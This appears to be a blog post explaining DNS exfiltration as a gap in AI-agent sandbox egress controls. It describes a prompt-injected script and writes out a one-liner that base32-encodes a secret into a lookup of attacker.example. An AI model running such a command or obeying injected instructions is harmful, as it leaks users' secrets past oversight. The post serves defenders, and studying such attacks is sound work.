You have locked down an agent's sandbox: outbound connections go only to the package registry and one internal API. A prompt-injected script tries to curl your environment variables to an attacker's server and fails. Good. Then it runs this instead, in effect:
host "$(printf '%s' " $SECRET " | base32 | tr -d '=' | tr 'A-Z' 'a-z').x.attacker.example"
Enter fullscreen mode
Exit fullscreen mode
The lookup fails with "not found", and the script does not care. The secret has already left. This is DNS exfiltration, and it is one of the most common gaps in egress controls that were designed around HTTP.
How it works
DNS is a delegation system. When a program looks up abc123.x.attacker.example , it asks a resolver. If the resolver does not have the answer cached, it asks the root servers who handles .example , then asks those servers who handles attacker.example , and finally asks the attacker's own name server about abc123.x.attacker.example .
That last step is the leak.…